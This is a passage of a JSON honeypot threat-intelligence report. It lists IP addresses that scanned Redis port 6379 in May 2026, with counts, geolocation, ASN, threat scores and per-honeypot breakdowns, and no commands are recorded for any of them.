      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 57.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 16.7,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 20,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T20:03:53+00:00",
        "last_seen_30d": "2026-05-24T01:46:28.034000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 32,
        "Redishoneypot": 14,
        "Mailoney": 3
      }
    },
    "64.62.156.24": {
      "attack_count": 53,
      "first_seen": "2026-05-05T00:13:02.000Z",
      "last_seen": "2026-05-11T02:47:00.669Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 30,
        "ports_targeted_30d": 96,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T01:15:46+00:00",
        "last_seen_30d": "2026-05-31T05:51:49.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 230,
        "Honeytrap": 93,
        "Redishoneypot": 22,
        "Cowrie": 14,
        "H0neytr4p": 9,
        "Mailoney": 6,
        "Dionaea": 4,
        "ConPot": 2,
        "Tanner": 2
      }
    },
    "80.82.70.133": {
      "attack_count": 49,
      "first_seen": "2026-05-02T08:26:53.000Z",
      "last_seen": "2026-05-31T12:03:40.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T08:26:54+00:00",
        "last_seen_30d": "2026-05-31T23:07:59.951000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 302,
        "Honeytrap": 80,
        "Cowrie": 12,
        "Redishoneypot": 9,
        "Dionaea": 2,
        "ElasticPot": 1,
        "Tanner": 1
      }
    },
    "220.248.173.137": {
      "attack_count": 29,
      "first_seen": "2026-05-07T15:29:56.000Z",
      "last_seen": "2026-05-26T02:33:34.823Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T15:29:56+00:00",
        "last_seen_30d": "2026-05-26T02:33:34.823000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Redishoneypot": 9,
        "Honeytrap": 2
      }
    },
    "47.96.228.248": {
      "attack_count": 29,
      "first_seen": "2026-05-02T10:07:12.000Z",
      "last_seen": "2026-05-23T00:23:06.326Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T10:07:12+00:00",
        "last_seen_30d": "2026-05-24T18:09:04.323000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Redishoneypot": 9,
        "Honeytrap": 2
      }
    },
    "137.184.132.145": {
      "attack_count": 27,
      "first_seen": "2026-05-25T11:41:27.000Z",
      "last_seen": "2026-05-25T11:49:05.064Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:42:33.958000+00:00",
        "last_seen_30d": "2026-05-25T11:49:05.064000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 3
      }
    },
    "64.62.156.66": {
      "attack_count": 27,
      "first_seen": "2026-05-15T06:28:53.000Z",
      "last_seen": "2026-05-15T06:30:45.042Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T01:43:27+00:00",
        "last_seen_30d": "2026-05-31T05:57:57.436000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 75,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "Miniprint": 9,
        "H0neytr4p": 8,
        "Dionaea": 5,
        "ConPot": 3,
        "Adbhoney": 2,
        "ElasticPot": 1
      }
    },
    "65.49.1.122": {
      "attack_count": 27,
      "first_seen": "2026-05-14T07:01:13.000Z",
      "last_seen": "2026-05-14T07:02:50.449Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T01:26:22+00:00",
        "last_seen_30d": "2026-05-31T14:24:31.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 75,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "H0neytr4p": 9,
        "Adbhoney": 6,
        "ConPot": 4,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "165.227.84.54": {
      "attack_count": 26,
      "first_seen": "2026-05-30T10:38:13.000Z",
      "last_seen": "2026-05-30T10:46:00.676Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T10:39:19.607000+00:00",
        "last_seen_30d": "2026-05-30T10:46:00.676000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 3
      }
    },
    "65.49.1.66": {
      "attack_count": 26,
      "first_seen": "2026-05-06T16:16:49.000Z",
      "last_seen": "2026-05-06T16:18:32.780Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T03:08:55+00:00",
        "last_seen_30d": "2026-05-31T08:53:48.694000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191,
        "Honeytrap": 72,
        "Ciscoasa": 15,
        "Redishoneypot": 11,
        "ConPot": 5,
        "Adbhoney": 4,
        "Dionaea": 4,
        "ElasticPot": 2,
        "CitrixHoneypot": 1,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "65.49.20.66": {
      "attack_count": 26,
      "first_seen": "2026-05-21T14:10:52.000Z",
      "last_seen": "2026-05-21T14:12:41.970Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 98.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 30,
        "ports_targeted_30d": 97,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:53:41+00:00",
        "last_seen_30d": "2026-05-31T15:19:44.415000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 484,
        "Honeytrap": 144,
        "H0neytr4p": 48,
        "Dionaea": 16,
        "Cowrie": 14,
        "Redishoneypot": 11,
        "ElasticPot": 6,
        "Adbhoney": 2,
        "Ipphoney": 1
      }
    },
    "128.90.63.20": {
      "attack_count": 25,
      "first_seen": "2026-05-27T21:09:07.000Z",
      "last_seen": "2026-05-27T21:10:17.297Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22363,
      "as_org": "Powerhouse Management, Inc.",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-27T21:09:07+00:00",
        "last_seen_30d": "2026-05-28T02:22:44.698000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Redishoneypot": 6,
        "Honeytrap": 3
      }
    },
    "47.74.51.79": {
      "attack_count": 25,
      "first_seen": "2026-05-09T20:05:09.000Z",
      "last_seen": "2026-05-09T20:06:19.759Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T20:05:10+00:00",
        "last_seen_30d": "2026-05-20T08:43:44.442000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 5,
        "Dionaea": 1
      }
    },
    "8.222.128.242": {
      "attack_count": 24,
      "first_seen": "2026-05-02T17:03:37.000Z",
      "last_seen": "2026-05-02T17:12:21.805Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.4,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T17:04:47.939000+00:00",
        "last_seen_30d": "2026-05-25T21:27:15.353000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Dionaea": 13,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "64.227.8.212": {
      "attack_count": 22,
      "first_seen": "2026-05-25T20:29:10.000Z",
      "last_seen": "2026-05-25T20:30:17.457Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.7,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 7,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-25T03:18:27.571000+00:00",
        "last_seen_30d": "2026-05-31T18:39:23.849000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 192,
        "Honeytrap": 92,
        "Redishoneypot": 8,
        "Dionaea": 4,
        "ElasticPot": 1
      }
    },
    "83.140.108.177": {
      "attack_count": 22,
      "first_seen": "2026-05-15T03:49:28.000Z",
      "last_seen": "2026-05-15T03:50:33.046Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 12552,
      "as_org": "GlobalConnect AB",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-15T03:48:25.907000+00:00",
        "last_seen_30d": "2026-05-15T03:50:42.939000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Dionaea": 8,
        "Cowrie": 5,
        "Redishoneypot": 5,
        "Honeytrap": 4
      }
    },
    "192.241.128.71": {
      "attack_count": 21,
      "first_seen": "2026-05-02T08:17:53.000Z",
      "last_seen": "2026-05-02T08:27:56.250Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 352,
        "days_active_30d": 3,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:43:21+00:00",
        "last_seen_30d": "2026-05-04T15:27:29.768000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 238,
        "Honeytrap": 100,
        "Redishoneypot": 8,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "67.205.131.16": {
      "attack_count": 21,
      "first_seen": "2026-05-24T11:59:36.000Z",
      "last_seen": "2026-05-24T12:09:51.465Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 2,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-23T11:59:41+00:00",
        "last_seen_30d": "2026-05-24T19:42:16.836000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 199,
        "Honeytrap": 93,
        "Redishoneypot": 8,
        "ElasticPot": 2,
        "Dionaea": 1
      }
    },
    "142.93.160.51": {
      "attack_count": 20,
      "first_seen": "2026-05-26T07:00:34.000Z",
      "last_seen": "2026-05-26T07:01:40.287Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 144565,
        "days_active_30d": 1,
        "ports_targeted_30d": 65062,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-26T06:56:14+00:00",
        "last_seen_30d": "2026-05-26T07:11:04.743000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124185,
        "Honeytrap": 20342,
        "Mailoney": 12,
        "Cowrie": 7,
        "Dionaea": 5,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "199.45.154.32": {
      "attack_count": 20,
      "first_seen": "2026-05-04T03:59:57.000Z",
      "last_seen": "2026-05-29T01:55:00.128Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1182,
        "days_active_30d": 30,
        "ports_targeted_30d": 328,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:10:48.951000+00:00",
        "last_seen_30d": "2026-05-31T23:39:20.049000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1182
      }
    },
    "20.40.41.0": {
      "attack_count": 19,
      "first_seen": "2026-05-07T13:10:08.000Z",
      "last_seen": "2026-05-08T01:06:57.588Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T11:50:10.398000+00:00",
        "last_seen_30d": "2026-05-26T03:03:06.469000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Redishoneypot": 9,
        "Honeytrap": 5,
        "Dionaea": 2
      }
    },
    "216.226.76.10": {
      "attack_count": 18,
      "first_seen": "2026-05-07T07:27:19.000Z",
      "last_seen": "2026-05-07T07:47:43.695Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 357,
        "days_active_30d": 27,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T14:45:01.002000+00:00",
        "last_seen_30d": "2026-05-31T22:52:00.365000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 273,
        "Honeytrap": 73,
        "Redishoneypot": 6,
        "Honeyaml": 4,
        "Sentrypeer": 1
      }
    },
    "46.110.173.90": {
      "attack_count": 18,
      "first_seen": "2026-05-04T10:15:41.000Z",
      "last_seen": "2026-05-13T12:40:14.742Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St. Charles",
      "asn": 30600,
      "as_org": "Metronet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:15:41+00:00",
        "last_seen_30d": "2026-05-13T12:40:14.742000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "146.190.216.206": {
      "attack_count": 17,
      "first_seen": "2026-05-02T08:17:45.000Z",
      "last_seen": "2026-05-02T08:19:01.732Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:17:45+00:00",
        "last_seen_30d": "2026-05-02T08:19:01.732000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "147.182.174.32": {
      "attack_count": 17,
      "first_seen": "2026-05-31T18:30:02.000Z",
      "last_seen": "2026-05-31T18:40:16.621Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T18:30:02+00:00",
        "last_seen_30d": "2026-05-31T18:40:16.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "20.171.8.150": {
      "attack_count": 17,
      "first_seen": "2026-05-18T00:05:46.000Z",
      "last_seen": "2026-05-18T00:08:56.220Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T23:58:12.068000+00:00",
        "last_seen_30d": "2026-05-28T18:31:38.844000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 10,
        "Redishoneypot": 3
      }
    },
    "135.237.126.6": {
      "attack_count": 16,
      "first_seen": "2026-05-17T18:35:10.000Z",
      "last_seen": "2026-05-17T18:36:36.774Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.7,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 20,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-12T20:41:49.953000+00:00",
        "last_seen_30d": "2026-05-31T17:18:59.673000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 7,
        "Redishoneypot": 3,
        "Mailoney": 1
      }
    },
    "20.169.107.47": {
      "attack_count": 16,
      "first_seen": "2026-05-05T04:41:17.000Z",
      "last_seen": "2026-05-05T04:43:27.878Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T04:42:24.221000+00:00",
        "last_seen_30d": "2026-05-15T16:38:12.137000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "52.186.169.24": {
      "attack_count": 16,
      "first_seen": "2026-05-24T20:56:51.000Z",
      "last_seen": "2026-05-24T21:00:13.672Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-23T17:06:31+00:00",
        "last_seen_30d": "2026-05-31T19:59:49.997000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "18.217.208.51": {
      "attack_count": 15,
      "first_seen": "2026-05-05T00:50:53.000Z",
      "last_seen": "2026-05-31T03:17:19.881Z",
      "sessions": 0,
      "ports": [
        6379
      ],
